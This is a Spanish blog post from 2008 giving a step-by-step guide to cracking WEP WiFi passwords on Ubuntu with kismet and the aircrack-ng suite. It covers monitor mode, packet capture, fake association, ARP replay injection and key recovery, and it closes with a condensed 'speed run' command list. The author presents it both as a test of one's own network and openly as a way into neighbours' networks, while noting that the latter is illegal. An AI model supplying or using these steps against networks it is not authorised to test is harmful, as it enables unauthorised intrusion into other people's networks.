Todos hemos soñado algún día con acceder a las redes WIFI vecinas y navegar sin importar donde nos encontramos. En ocasiones es tan fácil como clicar sobre una WIFI que no tiene contraseña, pero en la mayoría de casos no es así, y cada vez más nos encontramos con claves que impiden nuestro acceso, o no.
Lo que viene a continuación es un arma de doble filo. Por un lado una "lección y ponte a prueba" con las claves WEP y la seguridad de tu propia red, y por otro una guía de cómo colarse en la mayoría de las redes WIFI con contraseña, vamos, lo que Microsoft llama usuarios mal intencionados.
Un par de cosas a saber.
- Es ilegal acceder a las redes WIFI que no son de tu propiedad.
- Es legal experimentar tanto como quieras con tu propia WIFI ;-)
- Para esta guía he usado un equipo SAMSUNG R40 plus (tarjeta de red Atheros) y Ubuntu 8.10.
- Si tu tarjeta de red no es Atheros no podrás seguir el punto donde se configura en modo monitor. Gooooglea.
Un par de términos a saber.
- AP: Punto de acceso/Access Point
- ESSID: Nombre del AP
- BSSID: Dirección MAC
Instalación
No voy a usar Back Track ni otras distribuciones parecidas. Considero que lo más cómodo es tenerlo todo funcionando en mi SO habitual, y este es Ubuntu. Todo el proceso lo haremos con tres aplicaciones que instalaremos en los siguientes pasos.
1. instalar kismet
Kismet es una aplicación para hacer sniffer (monitorizar la red), detectar redes inalámbricas e intrusiones. Kismet solo funciona con tarjetas de red inalámbricas que soporten modo monitor (rfmon).
#apt-get install kismet
2. Configurar kismet
Una vez instalado debemos editar el archivo kismet.conf (para saber donde encontrarlo hacer un $whereis kismet.conf puede ayudar) y adaptarlo a nuestro tipo de tarjeta. Para ello editamos la linea "suiduser" especificando nuestro nombre de usuario (un usuario que tenga permisos suficiente para ejecutar kismet, como por ejemplo: root), y lo "más complicado" la linea "source" definiendo: un driver, un interface y un nombre.
En mi caso (una tarjeta Atheros) la linea source ha quedado así:
source=madwifi_b,wifi0,madwifi
Dependiendo de la tarjeta de red de cada uno el driver y el interface variará, de manera que lo mejor es tirar de google para buscar cada caso en concreto y leerse la documentación de Kismet, que trae un apartado llamado "Capture Sources" dedicado exclusivamente a este punto. He dicho que es la parte más complicada porque he podido comprobar que mucha gente tira la toalla en este punto (yo casi lo hice), pero todo es cuestión de paciencia hasta encontrar el driver y el interface adecuado (gooooglea).
3. Instalación de aircrack-ng
Aircrack-ng es una suite de herramientas que permite craquear contraseñas WEP y WPA-PSK a partir de un buen número de paquetes previamente capturados. Esta guía solo te servirá para contraseñas WEP, aunque una vez superado ya no te quedará mucho hasta las WPA.
#apt-get install aircrack-ng
4. Instalación de las madwifi-tools.
Nos permitirá hacer uso de una utilidad que incluye llamada wlanconfig, que permite poner nuestra tarjeta de red en modo monitor.
#apt-get install madwifi-tools
Llegados a este punto tenemos todo lo necesario para realizar nuestro primer ataque.
Llevando a cabo el ataque
1. Iniciamos kismet
$kismet
Nos aparecerá una lista de todos los APs detectados a nuestro alrededor.
Ordenamos los resultados por calidad de señal pulsando "s" y luego "Q"
Nos fijamos la lista de AP´s detectados, concretamente en la columna "W". Esta muestra el tipo de encriptación de cada una, cuyo valor posible es Y/N/O, donde Y=encriptación WEP, N=Red abierta o sin encriptación, y O=Otra, normalmente WPA.
Nos desplazamos con los cursores hasta el AP con encriptación WEP que nos interese, y pulsamos ENTER, mostrándose información detallada de la que nos anotaremos el canal el en que está operando (Ch), el nombre del dispositivo (ESSID) y la dirección MAC (BSSID). Con la tecla x volvemos al listado.
Salimos de Kismet.
2. Modo monitor
Ahora vamos a poner nuestra tarjeta de red en modo monitor. En mi caso el interface es ath0, pero en otras tarjetas de red puede cambiar. Si tu tarjeta de red no es Atheros estos pasos no te van a valer.
Pues bien, detenemos el interface que tenemos en modo MANAGED.
#airmon-ng stop ath0
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
Y lo iniciamos en modo MONITOR.
#airmon-ng start wifi0
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
Hacemos un iwconfig para verificar que el modo de la ath0 sea "monitor" y conocer la MAC de su AP.
$iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
wifi0 no wireless extensions.
pan0 no wireless extensions.
ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.457 GHz Access Point: 00:1B:9E:06:9A:5B
Bit Rate:0 kb/s Tx-Power:9 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Power Management:off
Link Quality=0/70 Signal level=-90 dBm Noise level=-90 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
NOTA: En algunas ocasiones y aparentemente de manera aleatoria al iniciar el interface ath0 he recibido el siguiente mensaje de error:
#airmon-ng start wifi0
Interface Chipset Driver
wifi0 Atheros madwifi-ngError for wireless request "Set Frequency" (8B04) :
SET failed on device ath0 ; No such device.
ath0: ERROR mientras se obtenían las banderas de interfaz: No existe el dispositivo
ath1 Atheros madwifi-ng VAP (parent: wifi0)
Como puede verse no consigue iniciar el interface ath0, pero en su lugar inicia el ath1, que para el caso es lo mismo (lo importante es disponer de una interface en modo monitor). Si ocurre esto seguimos la guía cambiando en adelante cualquier ath0 que aparezca por ath1. Comprobado que funciona igual.
3. Capturando paquetes
Ahora que nuestra tarjeta está en modo monitor lo siguiente que necesitamos empezar a capturar paquetes del aire y almacenarlos en nuestro ordenador para más tarde determinar la clave WEP gracias a la información que contienen.
Para ello usamos airodump-ng seguido del path y el nombre del archivo donde guardaremos los paquetes, seguido del canal en el que escucharemos (sí, el mismo canal que nos apuntamos cuando habíamos ejecutados Kismet). En este caso guardaremos los paquetes en /home/juansa/archivos, y escucharemos el canal 6.
#airodump-ng -w /home/juansa/archivos ath0 --channel 6
En estos momentos todos los paquetes que viajan están siendo capturados por nuestra tarjeta y almacenados en nuestro equipo. Una vez tengamos suficientes paquetes (decenas de miles de ellos) podremos tratar de averiguar la clave. Si en la red en la que pretendemos acceder hay actividad se generarán suficientes paquetes como para poder averiguar más tarde la clave WEP, pero si es una red en la que no hay actividad, o simplemente queremos acelerar el proceso de recaudo de paquetes, nos toca a nosotros organizarle una fiesta al router.
4. Generando tráfico
Vamos a generar tráfico en el router de manera que podamos capturar con más velocidad.
Lo primero será mandarle un paquete de asociación al AP que tenemos en el punto de mira, (como una tarjeta de invitación). Lo hacemos especificando el ESSID del AP, la MAC del AP, nuestra MAC y nuestro interface (aireplay-ng -1 0 -e AP_ESSID -a AP_MAC -h MI_MAC MI_INTERFACE). Abrimos una nuevo terminal y...
#aireplay-ng -1 0 -e Wireless -a 00:C2:C2:C1:CF:A8 -h 06:FB:9E:06:2A:5B ath0
The interface MAC (00:1C:3E:56:2A:5B) doesn´t match the specified MAC (-h).
ifconfig ath0 hw ether 06:FB:9E:06:2A:5B
20:22:37 Waiting for beacon frame (BSSID: 00:C2:C2:C1:CF:A8) on channel 6
20:22:37 Sending Authentication Request (Open System)
20:22:37 Authentication successful
20:22:37 Sending Association Request
20:22:37 Association successful :-) (AID: 1)
Ya estamos asociados al AP. A partir de estos momentos podemos mandarle al AP cualquier paquete que vaya encriptado con su debida WEP, y como no la conocemos, le enviaremos los mismos paquetes encriptados que el nos envie a nosotros. ;-) (aireplay-ng -3 -b AP_MAC -h MI_MAC)
#aireplay-ng -3 -b 00:C2:C2:C1:CF:A8 -h 06:FB:9E:06:2A:5B ath0
5. Resolviendo la clave WEP
Poco a poco veremos que vamos capturando paquetes (sobre todo los que nos interesan son los paquetes ARP).
Una vez tengamos a partir de 100.000 paquetes (columna #Data de airodump-ng) podemos ir pensando en descifrar la clave, pero lo mejor es llegar al menos hasta los 500.000. No obstante lo mejor es ir probando a descifrarla sin detener el proceso. ¡Claro que se puede!
En una nueva consola ejecutamos:
#aircrack-ng -s /home/juansa/archivos.cap
Es posible que el nombre no sea el mismo con extensión .cap así que asegúrate antes de qué nombre está tomando el archivo.
6. Conclusión
Nunca, pero nunca nunca nuca, uses una clave WEP en tu router.
Bonus track: Ataque en Speed Run
sudo kismet
sudo airmon-ng stop ath0
sudo airmon-ng start wifi0
sudo airodump-ng -w /home/juansa/archivos ath0 --channel 6
sudo aireplay-ng -1 0 -e Wireless -a 00:00:00:00:00:00 -h 00:00:00:00:00:00 ath0
sudo aireplay-ng -3 -b 00:00:00:00:00:00 -h 00:00:00:00:00:00 ath0
sudo aircrack-ng -s archivos.cap
16-12-2008 | Linux